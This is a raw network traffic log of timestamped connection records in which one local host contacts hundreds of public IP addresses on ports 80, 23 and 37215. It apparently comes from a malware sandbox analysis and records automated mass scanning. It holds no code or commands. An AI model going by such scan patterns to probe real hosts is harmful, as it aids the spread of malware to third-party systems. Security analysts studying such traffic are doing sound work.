Oct 17, 2024 02:19:42.052292109 CEST	20646	80	192.168.2.14	222.234.207.58
Oct 17, 2024 02:19:42.052292109 CEST	20646	80	192.168.2.14	186.180.196.120
Oct 17, 2024 02:19:42.052316904 CEST	20646	80	192.168.2.14	102.74.39.45
Oct 17, 2024 02:19:42.052319050 CEST	20646	80	192.168.2.14	154.18.39.231
Oct 17, 2024 02:19:42.052321911 CEST	20646	80	192.168.2.14	183.237.141.68
Oct 17, 2024 02:19:42.052323103 CEST	20646	80	192.168.2.14	184.249.41.2
Oct 17, 2024 02:19:42.052319050 CEST	20646	80	192.168.2.14	152.144.68.193
Oct 17, 2024 02:19:42.052329063 CEST	20646	80	192.168.2.14	216.252.15.33
Oct 17, 2024 02:19:42.052331924 CEST	20646	80	192.168.2.14	18.202.169.212
Oct 17, 2024 02:19:42.052333117 CEST	20646	80	192.168.2.14	8.60.155.208
Oct 17, 2024 02:19:42.052331924 CEST	20646	80	192.168.2.14	200.250.192.25
Oct 17, 2024 02:19:42.052346945 CEST	20646	80	192.168.2.14	1.101.249.121
Oct 17, 2024 02:19:42.052351952 CEST	20646	80	192.168.2.14	53.227.2.197
Oct 17, 2024 02:19:42.052356958 CEST	20646	80	192.168.2.14	5.204.187.166
Oct 17, 2024 02:19:42.052357912 CEST	20646	80	192.168.2.14	66.176.135.122
Oct 17, 2024 02:19:42.052357912 CEST	20646	80	192.168.2.14	73.146.204.176
Oct 17, 2024 02:19:42.052373886 CEST	20646	80	192.168.2.14	178.107.156.130
Oct 17, 2024 02:19:42.052392006 CEST	20646	80	192.168.2.14	134.224.21.85
Oct 17, 2024 02:19:42.052398920 CEST	20646	80	192.168.2.14	115.183.211.53
Oct 17, 2024 02:19:42.052400112 CEST	20646	80	192.168.2.14	46.95.89.14
Oct 17, 2024 02:19:42.052400112 CEST	20646	80	192.168.2.14	196.212.35.129
Oct 17, 2024 02:19:42.052414894 CEST	20646	80	192.168.2.14	79.133.235.143
Oct 17, 2024 02:19:42.052419901 CEST	20646	80	192.168.2.14	178.174.213.43
Oct 17, 2024 02:19:42.052419901 CEST	20646	80	192.168.2.14	84.80.248.111
Oct 17, 2024 02:19:42.052423954 CEST	20646	80	192.168.2.14	167.230.44.26
Oct 17, 2024 02:19:42.052423954 CEST	20646	80	192.168.2.14	130.195.55.35
Oct 17, 2024 02:19:42.052432060 CEST	20646	80	192.168.2.14	167.191.77.78
Oct 17, 2024 02:19:42.052454948 CEST	20646	80	192.168.2.14	25.32.205.30
Oct 17, 2024 02:19:42.052459002 CEST	20646	80	192.168.2.14	119.20.199.225
Oct 17, 2024 02:19:42.052459002 CEST	20646	80	192.168.2.14	113.187.159.164
Oct 17, 2024 02:19:42.052460909 CEST	20646	80	192.168.2.14	161.126.138.165
Oct 17, 2024 02:19:42.052474022 CEST	20646	80	192.168.2.14	151.122.67.234
Oct 17, 2024 02:19:42.052478075 CEST	20646	80	192.168.2.14	103.97.14.26
Oct 17, 2024 02:19:42.052479982 CEST	20646	80	192.168.2.14	44.100.141.226
Oct 17, 2024 02:19:42.052480936 CEST	20646	80	192.168.2.14	96.18.123.103
Oct 17, 2024 02:19:42.052494049 CEST	20646	80	192.168.2.14	18.39.130.195
Oct 17, 2024 02:19:42.052494049 CEST	20646	80	192.168.2.14	112.157.165.176
Oct 17, 2024 02:19:42.052494049 CEST	20646	80	192.168.2.14	160.97.100.171
Oct 17, 2024 02:19:42.052494049 CEST	20646	80	192.168.2.14	88.245.70.164
Oct 17, 2024 02:19:42.052509069 CEST	20646	80	192.168.2.14	1.187.227.68
Oct 17, 2024 02:19:42.052514076 CEST	20646	80	192.168.2.14	124.146.230.99
Oct 17, 2024 02:19:42.052514076 CEST	20646	80	192.168.2.14	23.51.152.150
Oct 17, 2024 02:19:42.052530050 CEST	20646	80	192.168.2.14	20.185.38.24
Oct 17, 2024 02:19:42.052530050 CEST	20646	80	192.168.2.14	220.39.209.93
Oct 17, 2024 02:19:42.052530050 CEST	20646	80	192.168.2.14	216.188.126.80
Oct 17, 2024 02:19:42.052531004 CEST	20646	80	192.168.2.14	43.41.77.26
Oct 17, 2024 02:19:42.052553892 CEST	20646	80	192.168.2.14	25.252.103.88
Oct 17, 2024 02:19:42.052553892 CEST	20646	80	192.168.2.14	218.215.113.233
Oct 17, 2024 02:19:42.052553892 CEST	20646	80	192.168.2.14	216.232.148.108
Oct 17, 2024 02:19:42.052561045 CEST	20646	80	192.168.2.14	198.60.138.38
Oct 17, 2024 02:19:42.052561045 CEST	20646	80	192.168.2.14	203.105.206.14
Oct 17, 2024 02:19:42.052561045 CEST	20646	80	192.168.2.14	51.136.10.47
Oct 17, 2024 02:19:42.052565098 CEST	20646	80	192.168.2.14	40.211.105.132
Oct 17, 2024 02:19:42.052578926 CEST	20646	80	192.168.2.14	122.65.85.248
Oct 17, 2024 02:19:42.052578926 CEST	20646	80	192.168.2.14	124.110.129.97
Oct 17, 2024 02:19:42.052584887 CEST	20646	80	192.168.2.14	85.14.220.252
Oct 17, 2024 02:19:42.052584887 CEST	20646	80	192.168.2.14	76.18.28.238
Oct 17, 2024 02:19:42.052607059 CEST	20646	80	192.168.2.14	195.56.125.78
Oct 17, 2024 02:19:42.052607059 CEST	20646	80	192.168.2.14	204.191.0.162
Oct 17, 2024 02:19:42.052609921 CEST	20646	80	192.168.2.14	149.228.111.146
Oct 17, 2024 02:19:42.052609921 CEST	20646	80	192.168.2.14	102.250.140.234
Oct 17, 2024 02:19:42.052613020 CEST	20646	80	192.168.2.14	176.162.130.52
Oct 17, 2024 02:19:42.052623034 CEST	20646	80	192.168.2.14	180.243.117.49
Oct 17, 2024 02:19:42.052623034 CEST	20646	80	192.168.2.14	60.247.100.233
Oct 17, 2024 02:19:42.052637100 CEST	20646	80	192.168.2.14	61.73.110.52
Oct 17, 2024 02:19:42.052650928 CEST	20646	80	192.168.2.14	172.1.108.45
Oct 17, 2024 02:19:42.052674055 CEST	20646	80	192.168.2.14	91.93.192.67
Oct 17, 2024 02:19:42.052674055 CEST	20646	80	192.168.2.14	210.158.43.89
Oct 17, 2024 02:19:42.052690029 CEST	20646	80	192.168.2.14	112.135.114.116
Oct 17, 2024 02:19:42.052690983 CEST	20646	80	192.168.2.14	131.149.99.104
Oct 17, 2024 02:19:42.052691936 CEST	20646	80	192.168.2.14	82.9.49.19
Oct 17, 2024 02:19:42.052691936 CEST	20646	80	192.168.2.14	80.201.237.92
Oct 17, 2024 02:19:42.052695990 CEST	20646	80	192.168.2.14	8.180.230.244
Oct 17, 2024 02:19:42.052695990 CEST	20646	80	192.168.2.14	145.231.185.1
Oct 17, 2024 02:19:42.052717924 CEST	20646	80	192.168.2.14	101.174.228.95
Oct 17, 2024 02:19:42.052719116 CEST	20646	80	192.168.2.14	58.64.29.83
Oct 17, 2024 02:19:42.052736044 CEST	20646	80	192.168.2.14	54.22.111.73
Oct 17, 2024 02:19:42.052736044 CEST	20646	80	192.168.2.14	54.3.55.33
Oct 17, 2024 02:19:42.052747965 CEST	20646	80	192.168.2.14	103.41.234.194
Oct 17, 2024 02:19:42.052751064 CEST	20646	80	192.168.2.14	38.233.221.231
Oct 17, 2024 02:19:42.052752018 CEST	20646	80	192.168.2.14	61.92.55.5
Oct 17, 2024 02:19:42.052769899 CEST	20646	80	192.168.2.14	46.148.86.206
Oct 17, 2024 02:19:42.053052902 CEST	20646	80	192.168.2.14	57.107.83.11
Oct 17, 2024 02:19:42.053873062 CEST	56260	23	192.168.2.14	200.71.163.110
Oct 17, 2024 02:19:42.055766106 CEST	80	20646	64.83.62.143	192.168.2.14
Oct 17, 2024 02:19:42.055782080 CEST	80	20646	157.135.58.67	192.168.2.14
Oct 17, 2024 02:19:42.056483984 CEST	20646	80	192.168.2.14	157.135.58.67
Oct 17, 2024 02:19:42.056483984 CEST	20646	80	192.168.2.14	64.83.62.143
Oct 17, 2024 02:19:42.063397884 CEST	39766	80	192.168.2.14	174.24.2.27
Oct 17, 2024 02:19:42.064320087 CEST	34194	23	192.168.2.14	69.224.179.9
Oct 17, 2024 02:19:42.065767050 CEST	20644	37215	192.168.2.14	156.41.112.122
Oct 17, 2024 02:19:42.065773010 CEST	20644	37215	192.168.2.14	197.93.129.233
Oct 17, 2024 02:19:42.065778971 CEST	20644	37215	192.168.2.14	156.255.115.43
Oct 17, 2024 02:19:42.065815926 CEST	20644	37215	192.168.2.14	41.221.210.158
Oct 17, 2024 02:19:42.065824032 CEST	20644	37215	192.168.2.14	156.226.115.58
Oct 17, 2024 02:19:42.065824032 CEST	20644	37215	192.168.2.14	197.44.210.59
Oct 17, 2024 02:19:42.065824032 CEST	20644	37215	192.168.2.14	156.212.109.122
Oct 17, 2024 02:19:42.065834045 CEST	20644	37215	192.168.2.14	197.190.152.255
Oct 17, 2024 02:19:42.065843105 CEST	20644	37215	192.168.2.14	197.216.196.128
Oct 17, 2024 02:19:42.065843105 CEST	20644	37215	192.168.2.14	41.108.196.203
Oct 17, 2024 02:19:42.065843105 CEST	20644	37215	192.168.2.14	197.106.93.62
Oct 17, 2024 02:19:42.065843105 CEST	20644	37215	192.168.2.14	41.36.225.62
Oct 17, 2024 02:19:42.065844059 CEST	20644	37215	192.168.2.14	197.94.23.177
Oct 17, 2024 02:19:42.065843105 CEST	20644	37215	192.168.2.14	41.205.142.125
Oct 17, 2024 02:19:42.065844059 CEST	20644	37215	192.168.2.14	156.222.122.146
Oct 17, 2024 02:19:42.065856934 CEST	20644	37215	192.168.2.14	156.27.254.215
Oct 17, 2024 02:19:42.065856934 CEST	20644	37215	192.168.2.14	197.240.0.226
Oct 17, 2024 02:19:42.065860033 CEST	20644	37215	192.168.2.14	41.203.26.164
Oct 17, 2024 02:19:42.065884113 CEST	20644	37215	192.168.2.14	41.229.248.123
Oct 17, 2024 02:19:42.065884113 CEST	20644	37215	192.168.2.14	197.187.90.68
Oct 17, 2024 02:19:42.065888882 CEST	20644	37215	192.168.2.14	197.63.231.190
Oct 17, 2024 02:19:42.065896988 CEST	20644	37215	192.168.2.14	41.54.239.98
Oct 17, 2024 02:19:42.065916061 CEST	20644	37215	192.168.2.14	197.114.60.54
Oct 17, 2024 02:19:42.065918922 CEST	20644	37215	192.168.2.14	156.113.51.58
Oct 17, 2024 02:19:42.065918922 CEST	20644	37215	192.168.2.14	156.234.192.244
Oct 17, 2024 02:19:42.065918922 CEST	20644	37215	192.168.2.14	41.233.6.53
Oct 17, 2024 02:19:42.065918922 CEST	20644	37215	192.168.2.14	156.86.68.31
Oct 17, 2024 02:19:42.065934896 CEST	20644	37215	192.168.2.14	197.200.190.206
Oct 17, 2024 02:19:42.065936089 CEST	20644	37215	192.168.2.14	41.99.106.200
Oct 17, 2024 02:19:42.065936089 CEST	20644	37215	192.168.2.14	41.103.106.216
Oct 17, 2024 02:19:42.065943003 CEST	20644	37215	192.168.2.14	41.77.161.47
Oct 17, 2024 02:19:42.065952063 CEST	20644	37215	192.168.2.14	41.242.57.69
Oct 17, 2024 02:19:42.065954924 CEST	20644	37215	192.168.2.14	41.109.127.251
Oct 17, 2024 02:19:42.065962076 CEST	20644	37215	192.168.2.14	41.209.187.210
Oct 17, 2024 02:19:42.065963030 CEST	20644	37215	192.168.2.14	41.167.98.54
Oct 17, 2024 02:19:42.065979958 CEST	20644	37215	192.168.2.14	41.215.48.71
Oct 17, 2024 02:19:42.065958977 CEST	20644	37215	192.168.2.14	41.56.56.56
Oct 17, 2024 02:19:42.065983057 CEST	20644	37215	192.168.2.14	41.82.145.126
Oct 17, 2024 02:19:42.065983057 CEST	20644	37215	192.168.2.14	156.20.127.124
Oct 17, 2024 02:19:42.065983057 CEST	20644	37215	192.168.2.14	197.11.187.149
Oct 17, 2024 02:19:42.065983057 CEST	20644	37215	192.168.2.14	41.93.122.57
Oct 17, 2024 02:19:42.065983057 CEST	20644	37215	192.168.2.14	197.165.102.16
Oct 17, 2024 02:19:42.065983057 CEST	20644	37215	192.168.2.14	197.216.157.168
Oct 17, 2024 02:19:42.065985918 CEST	20644	37215	192.168.2.14	156.240.68.152
Oct 17, 2024 02:19:42.066009045 CEST	20644	37215	192.168.2.14	156.244.243.184
Oct 17, 2024 02:19:42.066030979 CEST	20644	37215	192.168.2.14	197.82.15.133
Oct 17, 2024 02:19:42.066032887 CEST	20644	37215	192.168.2.14	41.171.81.183
Oct 17, 2024 02:19:42.066032887 CEST	20644	37215	192.168.2.14	197.196.115.216
Oct 17, 2024 02:19:42.066037893 CEST	20644	37215	192.168.2.14	41.39.117.42
Oct 17, 2024 02:19:42.066036940 CEST	20644	37215	192.168.2.14	197.103.97.224
Oct 17, 2024 02:19:42.066046000 CEST	20644	37215	192.168.2.14	41.20.165.81
Oct 17, 2024 02:19:42.066054106 CEST	20644	37215	192.168.2.14	41.219.133.9
Oct 17, 2024 02:19:42.066054106 CEST	20644	37215	192.168.2.14	156.210.5.159
Oct 17, 2024 02:19:42.066054106 CEST	20644	37215	192.168.2.14	41.119.176.12
Oct 17, 2024 02:19:42.066062927 CEST	20644	37215	192.168.2.14	197.19.89.124
Oct 17, 2024 02:19:42.066065073 CEST	20644	37215	192.168.2.14	156.202.233.238
Oct 17, 2024 02:19:42.066066027 CEST	20644	37215	192.168.2.14	197.105.87.134
Oct 17, 2024 02:19:42.066078901 CEST	20644	37215	192.168.2.14	41.44.244.144
Oct 17, 2024 02:19:42.066083908 CEST	20644	37215	192.168.2.14	197.214.235.133
Oct 17, 2024 02:19:42.066102028 CEST	20644	37215	192.168.2.14	197.122.167.198
Oct 17, 2024 02:19:42.066102028 CEST	20644	37215	192.168.2.14	197.23.249.174
Oct 17, 2024 02:19:42.066102028 CEST	20644	37215	192.168.2.14	197.106.86.73
Oct 17, 2024 02:19:42.066111088 CEST	20644	37215	192.168.2.14	197.241.244.3
Oct 17, 2024 02:19:42.066111088 CEST	20644	37215	192.168.2.14	41.148.248.52
Oct 17, 2024 02:19:42.066113949 CEST	20644	37215	192.168.2.14	156.218.28.173
Oct 17, 2024 02:19:42.066113949 CEST	20644	37215	192.168.2.14	156.5.117.169
Oct 17, 2024 02:19:42.066113949 CEST	20644	37215	192.168.2.14	197.240.242.233
Oct 17, 2024 02:19:42.066118002 CEST	20644	37215	192.168.2.14	41.37.8.133
Oct 17, 2024 02:19:42.066133976 CEST	20644	37215	192.168.2.14	197.161.61.123
Oct 17, 2024 02:19:42.066140890 CEST	20644	37215	192.168.2.14	156.153.254.150
Oct 17, 2024 02:19:42.066154957 CEST	20644	37215	192.168.2.14	156.182.3.162
Oct 17, 2024 02:19:42.066154957 CEST	20644	37215	192.168.2.14	197.207.26.132
Oct 17, 2024 02:19:42.066155910 CEST	20644	37215	192.168.2.14	41.55.40.66
Oct 17, 2024 02:19:42.066159964 CEST	20644	37215	192.168.2.14	197.196.43.90
Oct 17, 2024 02:19:42.066174984 CEST	20644	37215	192.168.2.14	197.125.79.60
Oct 17, 2024 02:19:42.066174984 CEST	20644	37215	192.168.2.14	41.6.139.249
Oct 17, 2024 02:19:42.066195965 CEST	20644	37215	192.168.2.14	197.23.90.145
Oct 17, 2024 02:19:42.066199064 CEST	20644	37215	192.168.2.14	156.77.217.6
Oct 17, 2024 02:19:42.066199064 CEST	20644	37215	192.168.2.14	156.71.175.119
Oct 17, 2024 02:19:42.066214085 CEST	20644	37215	192.168.2.14	156.168.174.77
Oct 17, 2024 02:19:42.066230059 CEST	20644	37215	192.168.2.14	156.164.80.110
Oct 17, 2024 02:19:42.066234112 CEST	20644	37215	192.168.2.14	156.29.140.47
Oct 17, 2024 02:19:42.066253901 CEST	20644	37215	192.168.2.14	197.153.112.60
Oct 17, 2024 02:19:42.066256046 CEST	20644	37215	192.168.2.14	156.171.96.233
Oct 17, 2024 02:19:42.066256046 CEST	20644	37215	192.168.2.14	197.134.213.140
Oct 17, 2024 02:19:42.066267014 CEST	20644	37215	192.168.2.14	41.227.215.217
Oct 17, 2024 02:19:42.066267014 CEST	20644	37215	192.168.2.14	197.204.13.3
Oct 17, 2024 02:19:42.066271067 CEST	20644	37215	192.168.2.14	156.208.253.215
Oct 17, 2024 02:19:42.066271067 CEST	20644	37215	192.168.2.14	156.91.11.186
Oct 17, 2024 02:19:42.066281080 CEST	20644	37215	192.168.2.14	41.226.46.226
Oct 17, 2024 02:19:42.066287041 CEST	20644	37215	192.168.2.14	197.200.158.217
Oct 17, 2024 02:19:42.066296101 CEST	20644	37215	192.168.2.14	156.27.254.63
Oct 17, 2024 02:19:42.066297054 CEST	20644	37215	192.168.2.14	41.165.97.9
Oct 17, 2024 02:19:42.066298008 CEST	20644	37215	192.168.2.14	156.166.225.117
Oct 17, 2024 02:19:42.066301107 CEST	20644	37215	192.168.2.14	156.222.217.217
Oct 17, 2024 02:19:42.066301107 CEST	20644	37215	192.168.2.14	197.162.238.43
Oct 17, 2024 02:19:42.066301107 CEST	20644	37215	192.168.2.14	41.26.228.68
Oct 17, 2024 02:19:42.066322088 CEST	20644	37215	192.168.2.14	156.1.41.137
Oct 17, 2024 02:19:42.066322088 CEST	20644	37215	192.168.2.14	41.69.208.85
Oct 17, 2024 02:19:42.066325903 CEST	20644	37215	192.168.2.14	156.213.92.148
Oct 17, 2024 02:19:42.066329956 CEST	20644	37215	192.168.2.14	197.111.105.22
Oct 17, 2024 02:19:42.066329956 CEST	20644	37215	192.168.2.14	156.176.143.170
Oct 17, 2024 02:19:42.066334963 CEST	20644	37215	192.168.2.14	41.51.80.250
Oct 17, 2024 02:19:42.066334963 CEST	20644	37215	192.168.2.14	197.96.222.201
Oct 17, 2024 02:19:42.066334963 CEST	20644	37215	192.168.2.14	41.73.94.104
Oct 17, 2024 02:19:42.066346884 CEST	20644	37215	192.168.2.14	197.107.119.246
Oct 17, 2024 02:19:42.066349030 CEST	20644	37215	192.168.2.14	41.4.150.126
Oct 17, 2024 02:19:42.066351891 CEST	20644	37215	192.168.2.14	197.230.199.49
Oct 17, 2024 02:19:42.066351891 CEST	20644	37215	192.168.2.14	41.31.218.66
Oct 17, 2024 02:19:42.066359043 CEST	20644	37215	192.168.2.14	156.203.94.111
Oct 17, 2024 02:19:42.066359043 CEST	20644	37215	192.168.2.14	156.123.246.73
Oct 17, 2024 02:19:42.066359997 CEST	20644	37215	192.168.2.14	41.86.250.94
Oct 17, 2024 02:19:42.066368103 CEST	20644	37215	192.168.2.14	197.94.198.172
Oct 17, 2024 02:19:42.066369057 CEST	20644	37215	192.168.2.14	156.58.222.66
Oct 17, 2024 02:19:42.066392899 CEST	20644	37215	192.168.2.14	156.40.131.176
Oct 17, 2024 02:19:42.066392899 CEST	20644	37215	192.168.2.14	197.91.102.94
Oct 17, 2024 02:19:42.066394091 CEST	20644	37215	192.168.2.14	156.159.1.32
Oct 17, 2024 02:19:42.066411972 CEST	20644	37215	192.168.2.14	156.80.232.114
Oct 17, 2024 02:19:42.066411972 CEST	20644	37215	192.168.2.14	197.4.42.17
Oct 17, 2024 02:19:42.066411972 CEST	20644	37215	192.168.2.14	41.135.90.250
Oct 17, 2024 02:19:42.066411972 CEST	20644	37215	192.168.2.14	156.89.220.224
Oct 17, 2024 02:19:42.066420078 CEST	20644	37215	192.168.2.14	41.215.123.253
Oct 17, 2024 02:19:42.066445112 CEST	20644	37215	192.168.2.14	197.229.150.22
Oct 17, 2024 02:19:42.066448927 CEST	20644	37215	192.168.2.14	41.105.4.60
Oct 17, 2024 02:19:42.066448927 CEST	20644	37215	192.168.2.14	197.242.218.168
Oct 17, 2024 02:19:42.066448927 CEST	20644	37215	192.168.2.14	41.149.7.103
Oct 17, 2024 02:19:42.066452026 CEST	20644	37215	192.168.2.14	197.83.49.4
Oct 17, 2024 02:19:42.066452026 CEST	20644	37215	192.168.2.14	41.68.91.5
Oct 17, 2024 02:19:42.066456079 CEST	20644	37215	192.168.2.14	156.15.85.73
Oct 17, 2024 02:19:42.066456079 CEST	20644	37215	192.168.2.14	156.209.135.153
Oct 17, 2024 02:19:42.066456079 CEST	20644	37215	192.168.2.14	41.162.14.245
Oct 17, 2024 02:19:42.066456079 CEST	20644	37215	192.168.2.14	41.150.188.196
Oct 17, 2024 02:19:42.066473961 CEST	20644	37215	192.168.2.14	41.24.1.109
Oct 17, 2024 02:19:42.066473961 CEST	20644	37215	192.168.2.14	41.46.171.27
Oct 17, 2024 02:19:42.066473961 CEST	20644	37215	192.168.2.14	197.30.192.25
Oct 17, 2024 02:19:42.066478014 CEST	20644	37215	192.168.2.14	41.176.164.248
Oct 17, 2024 02:19:42.066478968 CEST	20644	37215	192.168.2.14	156.175.161.94
Oct 17, 2024 02:19:42.066478968 CEST	20644	37215	192.168.2.14	197.55.66.93
Oct 17, 2024 02:19:42.066490889 CEST	20644	37215	192.168.2.14	41.195.22.64
Oct 17, 2024 02:19:42.066495895 CEST	20644	37215	192.168.2.14	156.4.132.16
Oct 17, 2024 02:19:42.066497087 CEST	20644	37215	192.168.2.14	156.40.131.45
Oct 17, 2024 02:19:42.066507101 CEST	20644	37215	192.168.2.14	41.17.62.76
Oct 17, 2024 02:19:42.066518068 CEST	20644	37215	192.168.2.14	156.226.147.152
Oct 17, 2024 02:19:42.066521883 CEST	20644	37215	192.168.2.14	41.33.197.54
Oct 17, 2024 02:19:42.066525936 CEST	20644	37215	192.168.2.14	197.136.250.206
Oct 17, 2024 02:19:42.066525936 CEST	20644	37215	192.168.2.14	41.61.173.133
Oct 17, 2024 02:19:42.066533089 CEST	20644	37215	192.168.2.14	41.137.41.160
Oct 17, 2024 02:19:42.066587925 CEST	20644	37215	192.168.2.14	41.171.107.14
Oct 17, 2024 02:19:42.066587925 CEST	20644	37215	192.168.2.14	41.181.51.163
Oct 17, 2024 02:19:42.066597939 CEST	20644	37215	192.168.2.14	156.51.223.234
Oct 17, 2024 02:19:42.066597939 CEST	20644	37215	192.168.2.14	156.212.125.78
Oct 17, 2024 02:19:42.066600084 CEST	20644	37215	192.168.2.14	156.120.157.180
Oct 17, 2024 02:19:42.066612959 CEST	20644	37215	192.168.2.14	41.27.251.221
Oct 17, 2024 02:19:42.066625118 CEST	20644	37215	192.168.2.14	197.132.110.230
Oct 17, 2024 02:19:42.066625118 CEST	20644	37215	192.168.2.14	197.3.48.20
Oct 17, 2024 02:19:42.066629887 CEST	20644	37215	192.168.2.14	197.16.28.253
Oct 17, 2024 02:19:42.066648960 CEST	20644	37215	192.168.2.14	197.100.116.239
Oct 17, 2024 02:19:42.066653967 CEST	20644	37215	192.168.2.14	156.209.159.251
Oct 17, 2024 02:19:42.066653967 CEST	20644	37215	192.168.2.14	197.195.167.130
Oct 17, 2024 02:19:42.066667080 CEST	20644	37215	192.168.2.14	41.8.205.109
Oct 17, 2024 02:19:42.066670895 CEST	20644	37215	192.168.2.14	41.18.240.126
Oct 17, 2024 02:19:42.066670895 CEST	20644	37215	192.168.2.14	41.183.32.126
Oct 17, 2024 02:19:42.066670895 CEST	20644	37215	192.168.2.14	41.202.31.130
Oct 17, 2024 02:19:42.066682100 CEST	20644	37215	192.168.2.14	156.23.72.159
Oct 17, 2024 02:19:42.066683054 CEST	20644	37215	192.168.2.14	197.114.1.68
Oct 17, 2024 02:19:42.066684008 CEST	20644	37215	192.168.2.14	156.185.83.215
Oct 17, 2024 02:19:42.066684008 CEST	20644	37215	192.168.2.14	156.204.64.230
Oct 17, 2024 02:19:42.066689968 CEST	20644	37215	192.168.2.14	197.90.195.139
Oct 17, 2024 02:19:42.066694021 CEST	20644	37215	192.168.2.14	41.210.252.47
Oct 17, 2024 02:19:42.066720009 CEST	20644	37215	192.168.2.14	41.166.187.23
Oct 17, 2024 02:19:42.066725969 CEST	20644	37215	192.168.2.14	156.15.199.150
Oct 17, 2024 02:19:42.066730022 CEST	20644	37215	192.168.2.14	156.123.246.174
Oct 17, 2024 02:19:42.066735983 CEST	20644	37215	192.168.2.14	41.47.102.43
Oct 17, 2024 02:19:42.066735983 CEST	20644	37215	192.168.2.14	41.151.73.73
Oct 17, 2024 02:19:42.066736937 CEST	20644	37215	192.168.2.14	197.152.39.59
Oct 17, 2024 02:19:42.066735983 CEST	20644	37215	192.168.2.14	41.249.231.84
Oct 17, 2024 02:19:42.066746950 CEST	20644	37215	192.168.2.14	41.154.220.32
Oct 17, 2024 02:19:42.066746950 CEST	20644	37215	192.168.2.14	156.237.118.21
Oct 17, 2024 02:19:42.066751003 CEST	20644	37215	192.168.2.14	41.197.105.34
Oct 17, 2024 02:19:42.066756964 CEST	20644	37215	192.168.2.14	156.175.254.142
Oct 17, 2024 02:19:42.066756964 CEST	20644	37215	192.168.2.14	156.200.118.153
Oct 17, 2024 02:19:42.066756964 CEST	20644	37215	192.168.2.14	156.167.254.36
Oct 17, 2024 02:19:42.066761017 CEST	20644	37215	192.168.2.14	156.77.160.60
Oct 17, 2024 02:19:42.066772938 CEST	20644	37215	192.168.2.14	41.157.236.39
Oct 17, 2024 02:19:42.066778898 CEST	20644	37215	192.168.2.14	156.191.213.30
Oct 17, 2024 02:19:42.066804886 CEST	20644	37215	192.168.2.14	41.244.83.105
Oct 17, 2024 02:19:42.066807985 CEST	20644	37215	192.168.2.14	156.240.242.134
Oct 17, 2024 02:19:42.066807985 CEST	20644	37215	192.168.2.14	156.182.53.57
Oct 17, 2024 02:19:42.066807985 CEST	20644	37215	192.168.2.14	156.17.123.159
Oct 17, 2024 02:19:42.066813946 CEST	20644	37215	192.168.2.14	156.242.120.3
Oct 17, 2024 02:19:42.066813946 CEST	20644	37215	192.168.2.14	156.58.246.28
Oct 17, 2024 02:19:42.066817045 CEST	20644	37215	192.168.2.14	156.231.80.243
Oct 17, 2024 02:19:42.066817045 CEST	20644	37215	192.168.2.14	41.8.204.180
Oct 17, 2024 02:19:42.066817045 CEST	20644	37215	192.168.2.14	156.77.211.12
Oct 17, 2024 02:19:42.066818953 CEST	20644	37215	192.168.2.14	156.215.165.242
Oct 17, 2024 02:19:42.066818953 CEST	20644	37215	192.168.2.14	197.26.182.208
Oct 17, 2024 02:19:42.066827059 CEST	20644	37215	192.168.2.14	41.244.21.36
Oct 17, 2024 02:19:42.066827059 CEST	20644	37215	192.168.2.14	197.162.251.36
Oct 17, 2024 02:19:42.066832066 CEST	20644	37215	192.168.2.14	156.244.235.12
Oct 17, 2024 02:19:42.066838026 CEST	20644	37215	192.168.2.14	41.24.50.194
Oct 17, 2024 02:19:42.066838026 CEST	20644	37215	192.168.2.14	41.40.66.103
Oct 17, 2024 02:19:42.066853046 CEST	20644	37215	192.168.2.14	41.113.180.58
Oct 17, 2024 02:19:42.066874981 CEST	20644	37215	192.168.2.14	156.243.202.117
Oct 17, 2024 02:19:42.066875935 CEST	20644	37215	192.168.2.14	197.19.3.228
Oct 17, 2024 02:19:42.066874981 CEST	20644	37215	192.168.2.14	41.232.251.72
Oct 17, 2024 02:19:42.066875935 CEST	20644	37215	192.168.2.14	156.34.28.201
Oct 17, 2024 02:19:42.066895962 CEST	20644	37215	192.168.2.14	197.55.237.15
Oct 17, 2024 02:19:42.066903114 CEST	20644	37215	192.168.2.14	156.44.242.28
Oct 17, 2024 02:19:42.066917896 CEST	20644	37215	192.168.2.14	197.246.79.140
Oct 17, 2024 02:19:42.066926003 CEST	20644	37215	192.168.2.14	41.191.116.13
Oct 17, 2024 02:19:42.066927910 CEST	20644	37215	192.168.2.14	197.216.170.146
Oct 17, 2024 02:19:42.066929102 CEST	20644	37215	192.168.2.14	156.231.20.97
Oct 17, 2024 02:19:42.066929102 CEST	20644	37215	192.168.2.14	197.123.250.132
Oct 17, 2024 02:19:42.066932917 CEST	20644	37215	192.168.2.14	197.80.44.217
Oct 17, 2024 02:19:42.066950083 CEST	20644	37215	192.168.2.14	41.141.231.102
Oct 17, 2024 02:19:42.066950083 CEST	20644	37215	192.168.2.14	156.130.98.88
Oct 17, 2024 02:19:42.066951990 CEST	20644	37215	192.168.2.14	156.3.44.104
Oct 17, 2024 02:19:42.066962957 CEST	20644	37215	192.168.2.14	41.67.166.112
Oct 17, 2024 02:19:42.066967964 CEST	20644	37215	192.168.2.14	197.175.127.74
Oct 17, 2024 02:19:42.066979885 CEST	20644	37215	192.168.2.14	156.198.214.206
Oct 17, 2024 02:19:42.066981077 CEST	20644	37215	192.168.2.14	197.74.34.64
Oct 17, 2024 02:19:42.066988945 CEST	20644	37215	192.168.2.14	41.190.10.237
Oct 17, 2024 02:19:42.066993952 CEST	20644	37215	192.168.2.14	197.167.21.113
Oct 17, 2024 02:19:42.067001104 CEST	20644	37215	192.168.2.14	197.247.35.248
Oct 17, 2024 02:19:42.067014933 CEST	20644	37215	192.168.2.14	156.82.72.43
Oct 17, 2024 02:19:42.067018032 CEST	20644	37215	192.168.2.14	197.21.177.179
Oct 17, 2024 02:19:42.067018032 CEST	20644	37215	192.168.2.14	156.95.64.240
Oct 17, 2024 02:19:42.067018032 CEST	20644	37215	192.168.2.14	41.142.2.204
Oct 17, 2024 02:19:42.067032099 CEST	20644	37215	192.168.2.14	156.112.4.121
Oct 17, 2024 02:19:42.067032099 CEST	20644	37215	192.168.2.14	197.192.102.80
Oct 17, 2024 02:19:42.067034960 CEST	20644	37215	192.168.2.14	41.56.14.216
Oct 17, 2024 02:19:42.067040920 CEST	20644	37215	192.168.2.14	41.35.134.249
Oct 17, 2024 02:19:42.067042112 CEST	20644	37215	192.168.2.14	156.175.48.148
Oct 17, 2024 02:19:42.067045927 CEST	20644	37215	192.168.2.14	41.33.106.20
Oct 17, 2024 02:19:42.067054033 CEST	20644	37215	192.168.2.14	41.107.131.56
Oct 17, 2024 02:19:42.067054033 CEST	20644	37215	192.168.2.14	41.202.153.21
Oct 17, 2024 02:19:42.067080975 CEST	20644	37215	192.168.2.14	197.182.118.212
Oct 17, 2024 02:19:42.067080975 CEST	20644	37215	192.168.2.14	156.114.59.185
